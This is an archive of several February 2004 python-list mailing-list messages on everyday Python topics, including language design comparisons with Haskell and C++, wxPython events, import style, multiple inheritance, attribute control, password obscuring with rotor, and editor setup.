From: steve at ninereeds.fsnet.co.uk (Stephen Horne)
Date: Thu, 26 Feb 2004 15:24:55 +0000
Subject: How does Ruby compare to Python?? How good is DESIGN of
	Rubycompared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<mailman.100.1077717447.8594.python-list@python.org>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
	<t5fq30l29nidjh1tsksm8jlld03ff3av5o@4ax.com>
	<slrnc3qm17.kc4.joe@gate.notcharles.ca>
Message-ID: <ldor305t1bpka1800506id2kac9k7m1hte@4ax.com>

On Thu, 26 Feb 2004 02:48:30 GMT, Joe Mason <joe at notcharles.ca> wrote:

>In article <t5fq30l29nidjh1tsksm8jlld03ff3av5o at 4ax.com>, Stephen Horne wrote:
>> I don't know how widespread it is among very high level languages, but
>> there is a reason (in the not-that-high-level sense) that C++, and
>> other 3GLs with classes hacked on don't. I'm assuming object Pascals
>> and Basics (esp Delphi and VB) count here, though don't sue me if I'm
>> wrong - I'm not familiar with object support in either.
>
>I didn't think Pascals and Basics supported function pointers at all,
>but I haven't used them since high school, so maybe I just didn't
>encounter them at the time.

I'd be surprised if Delphi and VB don't have function pointers.
Without them, it would be impossible to use Windows API calls that
require callback functions for instance. Whether they are in the
Pascal and Basic standards, though, is an entirely different thing.

>> Anyway, from this perspective, the bound method is an interesting
>> in-between concept. I've sometimes wondered if full currying support
>> may have been a better choice, but then a bound method is much more
>> efficient simply because it's simpler - not to mention avoiding some
>> syntactic difficulties I ignored above.
>
>I've always found the performance differences between functional and imperative
>languages fascinating (well, ever since I found out about it) - on the
>one hand, pure functional languages can prove facts about the code
>mathematically, so in theory the compiler can optimize much more away.
>But on the other hand, supporting all the extra function state they need
>is very costly.

Hmmm - I think you may be confusing the functional vs imperative
distinction with something else. Supporting a functional style does
not, in itself, require any special baggage.

Python carries some extra baggage in each object. However, that
baggage has nothing to do with functional support - it is needed for
dynamic typing, run-time binding, reference counting etc. In the case
of dynamic typing and run-time binding, for instance, Python objects
use a system similar to that used in C++ for run-time binding (ie
virtual methods) and run-time type identification - each object has a
pointer to a block of data describing its type and how to use it (a
virtual table in C++, the type object in Python).

Haskell is a good pure-functional language to use as a comparison.
Haskell has dynamic typing, but you can restrict types in a static way
when you choose. Haskell therefore only includes dynamic typing
'baggage' when it is necessary.


In Python, we pay a bit in runtime efficiency for scripting-language
flexibility - for dynamic typing, garbage collection, run-time symbol
tables etc - and we get pretty good value, or else we'd be using some
other language. But I can't really think of a functional-style feature
of Python that results in extra baggage for Python objects.

Perhaps first class functions? No - the necessary 'overhead' in
comparison with, say, C function pointers is already present in order
to support dynamic typing.


Imperative languages can have run-time efficiency advantages, of
course. One is that a human programmer usually knows whether in-place
modification or replacement of data is appropriate, and tells an
imperitive language which to use. In a functional language, the
compiler has to work this out for itself as an optimisation, and it
can't always be sure.

For instance, it can be quite hard for programmers with imperitive
blinkers on to understand how Haskell can handle sorting. Many have
claimed that it can't - and immediately been proved wrong by someone
presenting the code that does it. But to imperitive-biassed eyes, that
code may look a lot like a joke.

To illustrate, a literal Python translation of a Haskell quicksort
would be something like...

def quicksort (p) :
  if len(p_Data) > 1 :
    l_Pivot = p [0]

    return   quicksort ([i for i in p [1:] if i <  l_Pivot])
           + [l_Pivot]
           + quicksort ([i for i in p [1:] if i >= l_Pivot])

  else :
    return p_Data

In Python, of course, this would be bad code - it creates huge numbers
of small sorted sequences only to discard them almost instantly. The
average performance is still the same old O(n long n) and the worst
case still O(n^2), but the problem is the scaling constants involved
in all the unnecessary work.

The key difference between Python and Haskell here is that a good
Haskell compiler should be able to optimise out all the throwaway
intermediate lists, and should even be able to determine for itself
whether an in-place modification of the original list is valid.
Python, of course, does not - it is the programmers responsibility to
handle sorting in a more efficient way.

My guess would be that Haskells method might fall down when, for
instance, the quicksort function is held in a separately compiled
library. In that case, the compilers analysis of the quicksort cannot
determine whether the initial unsorted list is used again after the
sort, so it can't know whether it is safe to overwrite the unsorted
list using an in-place method or not. Though even then, the library
could hold variants for both cases. I don't know enough about Haskell
to say, really.


One possibility where both Python and Haskell might have related
run-time issues is in cache friendliness. In Pythons case, this
results from the fact that all variables are bound using references,
all values are passed using references, etc. If you access a C
array-of-simple-values/structs sequentially, the way that RAM caching
and virtual memory operate on modern machines tends to mean that most
accesses are to fast cache memory because the data has been brought in
already along with earlier items. In Python, that doesn't tend to work
out because the actual values within the list are not normally
adjacent in memory - only the references are adjacent. This happens in
Haskell for much the same reason, though a Haskell compiler should
have a much better chance of optimising.

But even with cache friendliness, this isn't 'baggage from functional
features' in any sense. In fact, it often happens in C++ too - if you
are not certain of the concrete type of an object (you only know that
it is a subtype of a particular base class) you have to pass and store
a pointer rather than the object itself because you can't know at
compile time how much space the object takes up in memory, so you
can't reserve the space for it statically. So if you need (perhaps in
a drawing program) an array of shape objects, where each shape may be
an arbitrary subtype of the main shape base class, you actually have
to implement that as an array of pointers to shape objects. And the
shape objects are not likely to be at adjacent locations in memory, so
the drawing loop will make a much higher proportion of accesses to
relatively slow memory.

BTW - the reason this came to mind is because I'm currently working on
a Python extension module which supports a dynamically constructed
C-like struct (which can hold both Python objects and simple C-like
values - various sizes of integers and floats, plus fixed-length
null-padded string buffers using either 8- or 16-bit characters) and
can use them as both keys and values in a range of containers. For
records with no Python objects at all, I may add some
fixed-record-size file access stuff - but I have concerns about
portability and things ending with 'endian' etc. I've covered some of
the ground using the Boost/Python libraries before, but am now
discovering that the Python/C APIs aren't so very hard after all ;-)


Anyway, the real costs of using functional languages don't occur at
run-time. They occur at compile-time, as deep optimisations are very
far from trivial. I can't imagine turning off optimisations in a C++
compiler just to improve build speed, but in the Haskell world there
are compilers considered appropriate for development and prototyping
(minimal optimisations) and compilers considered appropriate for the
final release. I don't have the Haskell experience to know, but when
programmers make the effort to use a completely different compiler
just to reduce build times, I figure the difference must be pretty
substantial for large programs.

>Of course, hybrid languages like Python and Ruby have the worst of both
>worlds - side effects everywhere AND extra function baggage to pass
>around.

Not true. You do get quite high run-time costs in Python (and Perl,
and ...), but you get a lot in return - very good value IMO. And the
run-time costs in Python don't derive from functional features.


-- 
Steve Horne

steve at ninereeds dot fsnet dot co dot uk


From marfal at gmx.de  Thu Feb 19 16:11:43 2004
From: marfal at gmx.de (Markus Faltin)
Date: Thu, 19 Feb 2004 22:11:43 +0100
Subject: wxGlade
In-Reply-To: <5d3Zb.342281$_P.11746432@news4.tin.it>
References: <5d3Zb.342281$_P.11746432@news4.tin.it>
Message-ID: <5r831c.qsb.ln@berryworld.de>

I'm a newbie regarding wxPython, nevertheless I worked this out:

> class MyFrame(wxFrame):
>      def __init__(self, *args, **kwds):
>          # begin wxGlade: MyFrame.__init__
>          kwds["style"] = wxDEFAULT_FRAME_STYLE
>          wxFrame.__init__(self, *args, **kwds)
>          self.button_1 = wxButton(self, -1, "button_1")
>          self.__set_properties()
>          self.__do_layout()
>          # end wxGlade
>          EVT_BUTTON(self, 1003, self.event)

You have to set the identifier of the button:
          self.button_1 = wxButton(self, 1003, "button_1")

>      def event(self):
>          print "ciao"

The triggered method also needs the event as a parameter:

      def event(self, event):
          print "ciao"


Markus


From bignose-hates-spam at and-benfinney-does-too.id.au  Wed Feb 11 20:16:42 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 12 Feb 2004 12:06:42 +1050
Subject: splitting tables
References: <pan.2004.02.07.20.09.11.437775@no.mail.it>
	<m3ad3usiop.fsf@hamster.pflaesterer.de>
	<pan.2004.02.08.14.03.15.475979@no.mail.it>
	<m365ehplku.fsf@hamster.pflaesterer.de>
	<pan.2004.02.10.01.05.20.183909@no.mail.it>
	<m31xp2kh2c.fsf@hamster.pflaesterer.de>
	<pan.2004.02.11.00.00.36.241758@no.mail.it>
	<slrnc2j091.14m.bignose-hates-spam@rose.localdomain.fake>
	<pan.2004.02.12.00.57.12.216271@no.mail.it>
Message-ID: <slrnc2lm5a.16j.bignose-hates-spam@rose.localdomain.fake>

On Thu, 12 Feb 2004 00:56:22 +0000 (UTC), robsom wrote:
>> On Wed, 11 Feb 2004 00:44:18 +0000 (UTC), robsom wrote:
>>> [why do str.split() and split(str) both work?]
>> Because somewhere earlier in that code you must have imported the name
>> 'split' into the base namespace.  It's not there to begin with (and
>> importing it is needlessly polluting the base namespace).
>
> in fact there is an import string * instruction at the beginning.

Yes, the "from module import *" is a deprecated usage; it pollutes the
base namespace, which leads to confusions like this and others.

The recommended way is to:

    import module

    module.function()

So, in your case, this would be:

    import string

    string.split( str )

Then it becomes clear in each instance that the "split" function comes
from the "string" module, and not some other arbitrary module.

>>> [are they the same function?]
>> They're two different functions.  One is a method of string objects,
>> one is a function you've imported from somewhere.  (This confusion is
>> partly why importing symbols into the base namespace is a bad idea.)
>
> ok, so you suggest using the method because it results in a faster
> code?

No, I recommend using the method because it's already part of the string
objects, and results in clearer code.

-- 
 \           "It ain't so much the things we don't know that get us in |
  `\      trouble. It's the things we know that ain't so."  -- Artemus |
_o__)                                  Ward (1834-67), U.S. journalist |
Ben Finney <http://bignose.squidly.org/>


From u8806228 at mail.ttu.edu.tw  Fri Feb 13 07:33:11 2004
From: u8806228 at mail.ttu.edu.tw (Yen-Ting Chen)
Date: 13 Feb 2004 04:33:11 -0800
Subject: [Python-mode] compile problem in emacs
References: <16427.61480.908629.945920@montanaro.dyndns.org>
	<mailman.10.1076657607.31398.python-list@python.org>
Message-ID: <dfe6a548.0402130433.6186eb07@posting.google.com>

Could you post more complete source code or error message?


From ir4u4 at yahoo.com  Mon Feb  2 13:57:59 2004
From: ir4u4 at yahoo.com (Equis Uno)
Date: 2 Feb 2004 10:57:59 -0800
Subject: How do I overload 'equals'?
References: <692feddd.0402020252.7c1abcb@posting.google.com>	<bvlcnc$to62d$1@ID-198792.news.uni-berlin.de>
	<mailman.1121.1075723615.12720.python-list@python.org>
Message-ID: <692feddd.0402021057.6ddbc5f4@posting.google.com>

ok,

So I can't overload '='.
Fair enough.

How do I create/define an operator for a class of objects?

For example,

I'd like these statements:

aHouse = makeAhouse()
aHouse superAssign myHouse # use the superAssign operator

to fill aHouse with all the objects inside myHouse
and then call an arbitray method:
myHouse.log('aHouse has a copy of your stuff')

Is this possible?

-moi


From andymac at bullseye.apana.org.au  Fri Feb  6 17:40:48 2004
From: andymac at bullseye.apana.org.au (Andrew MacIntyre)
Date: Sat, 7 Feb 2004 09:40:48 +1100 (EST)
Subject: Defining *class* methods on C code
In-Reply-To: <8yjg6whn.fsf@python.net>
References: <hdy59tu8.fsf@python.net> <m3znbw4fjb.fsf@pc150.maths.bris.ac.uk>
	<isik6x7h.fsf@python.net> <8yjg6whn.fsf@python.net>
Message-ID: <20040207093936.Q58214@bullseye.apana.org.au>

On Fri, 6 Feb 2004, Thomas Heller wrote:

> I have to call PyDescr_NewClassMethodType:

File a doc bug?  I can't find this in the 2.3.3 docs at all...

--
Andrew I MacIntyre                     "These thoughts are mine alone..."
E-mail: andymac at bullseye.apana.org.au  (pref) | Snail: PO Box 370
        andymac at pcug.org.au             (alt) |        Belconnen  ACT  2616
Web:    http://www.andymac.org/               |        Australia



From irmen at -NOSPAM-REMOVETHIS-xs4all.nl  Sun Feb  1 14:37:03 2004
From: irmen at -NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Sun, 01 Feb 2004 20:37:03 +0100
Subject: advice on programming style: is multiple inheritance bad?
In-Reply-To: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
Message-ID: <401d5562$0$318$e4fe514c@news.xs4all.nl>

Uwe Mayer wrote:

> However, this would cause A2 to have two super classes A1 and SuperA - which
> is possible of course in Python.
> 
> My question is: is that bad programming style?
> From C++ and Java we "learn" that you shouldn't do that.

 From C++? Didn't think so... C++ is perfectly capable of
multiple inheritance. Or do you mean that you can get into
trouble quickly because of the various access levels,
virtual base classes etc?


Anyway my feelings about this subject:
I'm not stronly in favor of multiple inheritance
but I'm also not strongly against it.
In my experience there are times that I find m.i.
sorely lacking in Java because I want to do things
like mix-in classes. At other times I got myself into
trouble with a complex m.i. class tree in C++.

If you keep http://www.python.org/2.3/mro.html within
reach, I think you should be just fine using m.i. in Python.
I never had trouble with Python using m.i., but I tend to
avoid it and use it only where it really matters.

--Irmen de Jong


From rosenfel at informatik.hu-berlin.de  Mon Feb  2 07:59:25 2004
From: rosenfel at informatik.hu-berlin.de (Viktor Rosenfeld)
Date: Mon, 02 Feb 2004 13:59:25 +0100
Subject: [SOLVED] F: How can I make re.sub() replace patterns across
	newlines
References: <bvk6dr$sumlg$1@ID-212335.news.uni-berlin.de>
Message-ID: <bvlhkd$f2g29$1@ID-212335.news.uni-berlin.de>

Thanks to all that were quick to answer, using re.DOTALL indeed solves the
problem.  I was too tired to read the documentation correctly.

Ciao,
Viktor



From wweston at att.net  Wed Feb  4 12:08:07 2004
From: wweston at att.net (wes weston)
Date: Wed, 04 Feb 2004 17:08:07 GMT
Subject: Best way to control assignment to attribute?
In-Reply-To: <246a4e07.0402040712.2cd34d65@posting.google.com>
References: <246a4e07.0402040712.2cd34d65@posting.google.com>
Message-ID: <XF9Ub.175053$6y6.3406052@bgtnsc05-news.ops.worldnet.att.net>

Frank,
    See __slots__; not sure if there's a newer/better way.

wes



Frank Millman wrote:
> Hi all
> 
> I want to control the assignment of a value to an attribute. Instead
> of allowing it to be changed directly, I want to enforce that a method
> is called, which will perform the assignment subject to various
> checks.
> 
> From reading the manuals, this is one way to do it.
> 
> class frank:
>     def __init__(self,x):
>         self.setval_x(x)
> 
>     def __setattr__(self,name,value):
>         if name == 'x':
>             raise 'cannot change value of x - use setval_x(value)'
>         else:
>             self.__dict__[name] = value
> 
>     def setval_x(self,value):
>         ok = 1
>         # perform any checks required
>         if ok:
>             self.__dict__['x'] = value
> 
> Is this the best way, or does anyone have any other suggestions?
> 
> I notice that an application can beat this by using the __dict__
> syntax itself. Is there any way to prevent this? Just curious, it is
> not a major concern.
> 
> Any comments will be appreciated.
> 
> Thanks
> 
> Frank Millman



From pythongnome at hotmail.com  Thu Feb 26 16:46:08 2004
From: pythongnome at hotmail.com (Lucas Raab)
Date: Thu, 26 Feb 2004 21:46:08 GMT
Subject: How to obscure a password
References: <mailman.164.1077801277.8594.python-list@python.org>
	<e60s30927eikkugiciu0f9mgde9mtqsm60@4ax.com>
Message-ID: <AOt%b.21739$W74.6610@newsread1.news.atl.earthlink.net>

The only problem with using rotor, is that, given the time, someone could
decrypt the password file by using the encrypted form and guessing the key.

"Rene Pijlman" <reply.in.the.newsgroup at my.address.is.invalid> wrote in
message news:e60s30927eikkugiciu0f9mgde9mtqsm60 at 4ax.com...
> Batista, Facundo:
> >So, is there a module to obscure the password text in a secure way?
>
> You can only obscure a password in an obscure way, not in a secure way.
>
> >I can't hash it (with md5 or something), because I not need to compare
the
> >password the user enters with a previous one.
> >
> >I need to restore the password later and use it as if the user just
entered
> >it.
>
> I use rotor for that.
> http://www.python.org/doc/current/lib/module-rotor.html
>
> -- 
> Ren? Pijlman




From everestmadness at yahoo.com  Sat Feb 14 21:30:19 2004
From: everestmadness at yahoo.com (Mr. Everest)
Date: 14 Feb 2004 18:30:19 -0800
Subject: Zope and Asian Characters
Message-ID: <53d926d2.0402141830.44f03e9e@posting.google.com>

Hi,
I am trying to edit some documents using the Zope interface. One
problem is that after I saved those documents containing Asian
Characters, all those characters become like &#12345 next time I edit
them. Seems like Zope converts all the UTF-8 characters to &#nnnnn
secretly. Are there any settings controlling this? I tried setting the
locale in zope.conf but it didn't help.

(I am running Zope 2.7, if that matters)

Thanks


From __peter__ at web.de  Wed Feb 18 09:51:22 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Feb 2004 15:51:22 +0100
Subject: Unit-testing single function with large number of different
	inputs
References: <87ptcdsyyt.fsf@titan.staselog.com>
	<c0v7bk$pjv$05$1@news.t-online.com>
	<87oerwo3il.fsf@titan.staselog.com>
Message-ID: <c0vu5a$rb2$04$1@news.t-online.com>

Edvard Majakari wrote:

> now, running tests with the -v flag I don't see the neat docstrings I've
> used everywhere, but class instance strings (which is not that neat).
> Then again, it doesn't really matter, but still..

Just override the __str__() method to your needs, e. g:

class Base(unittest.TestCase):
    def __init__(self, filename):
        unittest.TestCase.__init__(self)
        self.filename = filename
    def __str__(self):
        return self.filename

Peter


From exarkun at intarweb.us  Fri Feb  6 13:13:43 2004
From: exarkun at intarweb.us (Jp Calderone)
Date: Fri, 6 Feb 2004 13:13:43 -0500
Subject: OT: Recommended news reader?
In-Reply-To: <m3ekt89jag.fsf@tanelorn.bandersnatch.org>
References: <4f0a9fdb.0402031309.fde7220@posting.google.com>
	<m3y8rhbenz.fsf@tanelorn.bandersnatch.org>
	<y8rh9zfx.fsf@python.net> <Xns9486E9AD26AFEJanC@213.119.4.35>
	<isik8w50.fsf@python.net> <c00ho4$inl$1@news.service.uci.edu>
	<mailman.1303.1076089918.12720.python-list@python.org>
	<m3ekt89jag.fsf@tanelorn.bandersnatch.org>
Message-ID: <20040206181343.GB4593@intarweb.us>

On Fri, Feb 06, 2004 at 01:04:07PM -0500, Nick Vargish wrote:
> Jp Calderone <exarkun at intarweb.us> writes:
> 
> >   The IMAP support in Thunderbird is atrocious.
> 
> Really? How so? I've been using it with a courier-imap server quite
> happily. It also seems to talk to the Exchange server at work without
> a complaint (nice not to have to use Outlook).
> 

  Slow (unnecessarily so), half broken on certain empty mailboxes,
improperly handles newlines in certain cases, doesn't support IDLE (changes
to the mailbox won't be noticed until long after they are made in most
cases), plus a lot of other nasty annoyances that aren't directly visible to
users (tries to create mailboxes that already exist all the time, issues
many, many, many more LIST commands than it needs to, etc).

  Jp




From python at t011.com  Thu Feb  5 23:07:34 2004
From: python at t011.com (jt)
Date: Thu, 05 Feb 2004 21:07:34 -0700
Subject: larger seeds for Mersenne
Message-ID: <1076040454.14985.12.camel@zen.t011.com>

On Feb 5th, Tim Peters wrote:

>The .hexdigest() methods are what you're looking for.

>>>> import sha
>>>> sha.new('tim').hexdigest()
>'5ee0edb9e2229c0838f1959779f1949031de0123'
>>>> int(_, 16)
>541661208246500712261618375284272868275380945187L
>>>> md5.new('tim').hexdigest()
>'b15d47e99831ee63e3f47cf3d4478e9a'
>>>> int(_, 16)
>235757697420119658189499990054961385114L
>>>>

Thanks for the help.  I got it working and was even able to manually
verify that random.randint() wasn't accidentally hashing it anyway.

>>> import sha, random
>>> s = 'this is a test'
>>> h = hash(s)
>>> print h
-1803414999
>>> x = sha.new(s).hexdigest()
>>> y = int(x,16)
>>> print y
1428111681160539626773549155626795980060565941506
>>> z = hash(y)
>>> random.seed(h)
>>> random.randint(1,100)
53
>>> random.seed(y)
>>> random.randint(1,100)
65
>>> random.seed(z)
>>> random.randint(1,100)
27
>>>

Thanks again.

jt



From rmkrauter at yahoo.com  Fri Feb 13 17:07:01 2004
From: rmkrauter at yahoo.com (Rich Krauter)
Date: Fri, 13 Feb 2004 14:07:01 -0800 (PST)
Subject: building Python under Services for Unix (SFU)
Message-ID: <20040213220701.31287.qmail@web40102.mail.yahoo.com>

>(I am aware that there is a Windows version of
Python.  >But it expects the
>Windows syntax for paths, not the Unix/SFU paths. 
And >for all I know there
>are other incompatibilities as well.)

Do you have to use SFU for some reason? If not, try
cygwin - see http://www.cygwin.com. You don't have to
build python from sources (just make sure python is
selected during the install process), and you can
install lots of other things sfu doesn't include.

Rich

__________________________________
Do you Yahoo!?
Yahoo! Finance: Get your refund fast by filing online.
http://taxes.yahoo.com/filing.html



From BrenBarn at aol.com  Tue Feb 24 13:16:25 2004
From: BrenBarn at aol.com (OKB (not okblacke))
Date: 24 Feb 2004 18:16:25 GMT
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>
	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>
Message-ID: <Xns9499687975AE9OKB@130.133.1.4>

Duncan Booth wrote:

> The advantage of min and max as builtins are that they work on any 
> sequence. In particular they work on iterators. Having functions
> that apply to an arbitrary sequence avoids a lot of potential code
> duplication. 

    	Wouldn't subclassing be an appropriate solution?  The most general 
sequence class/type could define a len method and the others would 
inherit it and override it if they have different length semantics.  In 
fact, Python already does this with the __len__ magic method.  Having a 
builtin function whose implementation is defined with a magically named 
method seems an awkward design.  Why not have just the method and do 
away with the function?

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From kbass at midsouth.rr.com  Sun Feb 15 09:37:50 2004
From: kbass at midsouth.rr.com (kbass)
Date: Sun, 15 Feb 2004 14:37:50 GMT
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<c0mvpc$18urh0$1@ID-99293.news.uni-berlin.de>
Message-ID: <2vLXb.9843$g95.6097@fe3.columbus.rr.com>


"William Park" <opengeometry at yahoo.ca> wrote in message
news:c0mvpc$18urh0$1 at ID-99293.news.uni-berlin.de...
> kbass <kbass at midsouth.rr.com> wrote:
> > In different articles that I have read, persons have constantly eluded
to
> > the productivity gains of Python. One person stated that Python's
> > productivity gain was 5 to 10 times over Java in some in some cases. The
> > strange thing that I have noticed is that there were no examples of this
> > productivity gain (i.e., projects, programs, etc.,...).  Can someone
give me
> > some real life examples of productivity gains using Python as opposed
other
> > programming languages.
> >
> > From my our personal experience, I have been programming with Python for
> > about 6 months (but I have been programming in other languages for over
10
> > years) and I have noticed that the more I had gotten use to programming
in
> > Python, the more my programming speed has increased. But ... this is
true
> > with any language that you program in as long as you are learning the
> > methodologies and concepts of the programming language.  Your thoughts.
>
> It used to be that Python programs were shorter, faster, readable,
> writable, and simply better.  But, this was during the days when most
> programmers had Unix background.  Nowdays, most of the programmers are
> coming from Windows background, and Python programs have become as
> verbose and unreadable as Visual Basic or Perl.
>
> Ruby has not been corrupted as such.  It make complicated thing less
> complicated.  But, it still make simply thing not as simple as Python.
>
> -- 
> William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
> Linux solution for data management and processing.

IMHO, the overall productivity gain of any programming language comes from
the programmers that are programming in the language. Productivity gain
comes from individuals and is not language based.

I thought that Python didn't allow for sloppy programming techniques due to
it's lines of code being indented throughout programs. Have Windows
programmers found a way pass this? Are you saying that some programmers with
a Windows programming background have poor programming practices when
compared to their Unix programming background counterparts?

Kevin




From skchim0 at engr.uky.edu  Fri Feb 27 20:34:14 2004
From: skchim0 at engr.uky.edu (Satish Chimakurthi)
Date: Fri, 27 Feb 2004 19:34:14 -0600
Subject: Reading data in lists: Error
Message-ID: <006701c3fd9a$f93273d0$0300a8c0@D4XN6B41>

Hi all,


This is in continuation of my email today regarding reading data files. I am stuck with one more problem now. 

Here are my two data files:

a. fluid_grid.dat

   1.00000000000000        0.00000000000000D+000
   0.959753969508636       0.280842158538236
   0.842255363975169       0.539078752924891
   0.656961888321583       0.753923787456623
   0.418788196289889       0.908083942512068
   0.146905379223583       0.989150549489397

b. fluid_pressure.dat

 1.2
  2
  4
  5
  3.22       
  
There are six values in each of the two columns in file "fluid_grid.dat" and 6 values in one column in "fluid_pressure.dat".

I read the contents of the first file in two arrays "x" and "y", x contains the values in the first column and y contains the second column values respectively.

I also read the contents of the second file in array "pres"

I wrote the following code for some calculations. 

from math import sqrt
ifile4=open('fluid_grid.dat','r')
lines=ifile4.readlines()
x=[]
y=[]
FX=[]
FY=[]
for line in lines:
        xi,yi=[float(item) for item in line.replace('D','E').split()]
        x.append(xi)
        y.append(yi)

pres=[]
pressure_data=open('fluid_pressure.dat','r')


for i in range(1,6):
        a=eval(pressure_data.readline())
pres.append(a)

for i in range(1,6):
        NXA=y[i-1]-y[i]
        NXD=sqrt(((y[i]-y[i-1])**2)+((x[i]-x[i-1]**2))
        NYA=x[i]-x[i-1]
        NYD=sqrt(((y[i]-y[i-1])**2)+((x[i]-x[i-1]**2))
        NX=NXA/NXD
        NY=NYA/NYD
        FX.append(pres[i]*NX)
        FY.append(pres[i]*NY)


I ran this code only to get the following error:

 File "<string>", line 24
    NYA=x[i]-x[i-1]
      ^
SyntaxError: invalid syntax


I remember Mr.Skip Montanaro quoting in his email earlier that at the point I make the assignment neither x has no 
i'th elements. I am sure this is what is happening now.


Can someone advise any possible work around to this problem ??



Thanks in advance

Best Regards,
Satish Kumar Chimakurthi


SATISH KUMAR CHIMAKURTHI
Graduate Research Assistant
CFD GROUP
Mechanical Engineering
UNIVERSITY OF KENTUCKY
Lexington
KENTUCKY - 40508
U.S.A

Email: skchim0 at engr.uky.edu
Mobile:859-420-9890
Office: 859-257-6336 X 80691
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From maxm at mxm.dk  Sun Feb  1 06:28:19 2004
From: maxm at mxm.dk (Max M)
Date: Sun, 01 Feb 2004 12:28:19 +0100
Subject: OT: why do web BBS's and blogs get so slow?
In-Reply-To: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
Message-ID: <401ce2b0$0$282$edfadb0f@dread12.news.tele.dk>

Paul Rubin wrote:

> Lots of times, when a blog (that supports user comments) or a web BBS
> gets heavily loaded, it slows down horribly, even when it's hosted at
> an ISP on a fast computer with plenty of net bandwidth.  I'm wondering
> what those programs are doing, that makes them bog down so badly.
> Anyone know what the main bottlenecks are?  I'm just imagining them
> doing a bunch of really dumb things.


Lot's of sql queries is a culprit.

Bad programming practices is another, with the code showing squared 
behaviour.

But the biggest problem is without a doubt a lack of caching.

A subproblem here is that the sites are designed without caching 
considderations in mind.

A Pentium 133 can easily fill up a 10Mbit line. That is a lot of requests.

So if you have a system that can generate static pages, that Apache can 
serve you can have really fast systems.


regards Max m


From woodsplitter at rocketmail.com  Tue Feb 24 04:01:12 2004
From: woodsplitter at rocketmail.com (David Rushby)
Date: 24 Feb 2004 01:01:12 -0800
Subject: Learning Python on jEdit
References: <d422a60.0402231132.19acdc74@posting.google.com>
Message-ID: <7876a8ea.0402240005.6e3313eb@posting.google.com>

rtjoseph at ev1.net (Ray) wrote in message news:<d422a60.0402231132.19acdc74 at posting.google.com>...
> I want to jump in a learn Python.  I have spent about a day looking at
> editors and IDEs and (probably prematurely) selected jEdit to work in.
> I have downloaded Python and jEdit.

Even though I love jEdit, its Python-awareness isn't as good as that
of a Python-specific IDE.  Since you're in the process of learning
Python, I recommend that you use as your interactive console an editor
that has Python object member pop-ups and parameter tips (e.g.,
Pythonwin, or OrbTech's PyShell (which comes with wxPython)).  I use
PyShell as my interactive console and jEdit as my main editor.

I edit Python and C/C++ source code for many hours a day with jEdit,
and have been doing so since 1999, so obviously I regard jEdit as a
suitable editor for Python source.  IMO, jEdit's most compelling
(though not unique) features are code folding, HyperSearch, multiple
views/split views, and markers.  My workstation has multiple monitors,
and I can spread several semi-autonomous 'views' from a single
instance of jEdit across them to simultaneously view several pieces of
code at once.  Markers (with appropriate Back/Set/Forward keyboard
shortcuts) allow me to hop around huge source files without touching
the mouse.

> I have been going over jEdit for a while and can't real see how to get it 
> to know that I am using Python.

In the Utilities->Global Options->Editing dialog (of jEdit 4.1), you
can change Python-specific settings by selecting 'Python' from the
'Change settings for mode' drop-down.  I have mine set to 'Tab width':
4, 'Indent width': 4, 'Soft (emulated with spaces) tabs': yes.  Save
yourself some hassle and don't mix tabs and spaces in your Python
source code.  jEdit can paper over the difference between soft and
hard tabs, so there are no extra keypresses required.

This dialog also allows you to specify which filename extensions are
to be considered Python source files, or which textual pattern on the
first line of a source file indicates same (e.g., '#/usr/bin/env
python').

If you use jEdit for virtually nothing other than editing Python
source, you can set Python mode as the default via the 'Default Edit
Mode' option in that same Utilities->Global Options->Editing dialog.

> So there is more there than I expected.  Any suggestions on how to
> configure (plugg-ins?) for jEdit and learn Python?

jEdit's indentation-based code folding works very well with Python out
of the box.

Since Python has syntactically significant whitespace, jEdit's
Whitespace plugin is a real help.  In particular, turn on
Utilities->Global Options->Plugins->Whitespace->Fold guides->Show fold
guides by default.  I have Whitespace set to display a faint grey
vertical line along Python indentation planes.

jEdit also has a Jython plugin, which, among other capabilities,
allows you to write jEdit macros in Python.  There's also a plugin
called Py Utils, but I haven't used it.


From tjreedy at udel.edu  Thu Feb 19 20:57:29 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Thu, 19 Feb 2004 20:57:29 -0500
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com><mailman.86.1077050210.31398.python-list@python.org><a8623416.0402181148.20865556@posting.google.com>
	<xqxbrnvbhvk.fsf@cola2.ca.boeing.com>
Message-ID: <c13pi7$jrr$1@sea.gmane.org>


"Harry George" <harry.g.george at boeing.com> wrote in message
news:xqxbrnvbhvk.fsf at cola2.ca.boeing.com...
> It is common for a ComSci prof or grad student to crank up such a
> study, using undergrad and grad students as the subjects.  These
> subjects can generally be coerced to participate ("it is required for
> the course").  For "novice programmer" research, high school students
> are often used.  These tend to be self-selected, and ar not
> representative for the general population.

The key feature that makes a study/experiment statistically analyzable is
randomization of subjects to treatments.  So, to compare two languages
(simplest case), you have everyone write programs in both languages, but
randomize the order (half one way, the other half the other way) or you
have one half do language A and the other half B, again randomizing the
assigment.  Also, if there is any subjectivity in the evaluation of
results, then the judges should not know the language when judging the
output.

Do the studies you speak of meet these criteria?

Terry J. Reedy






From sdb1031 at yahoo.com  Tue Feb 17 12:13:37 2004
From: sdb1031 at yahoo.com (Stephen Briley)
Date: Tue, 17 Feb 2004 09:13:37 -0800 (PST)
Subject: IP list generation
Message-ID: <20040217171337.66954.qmail@web60902.mail.yahoo.com>

Hi all,

I would like to write a python script that takes input
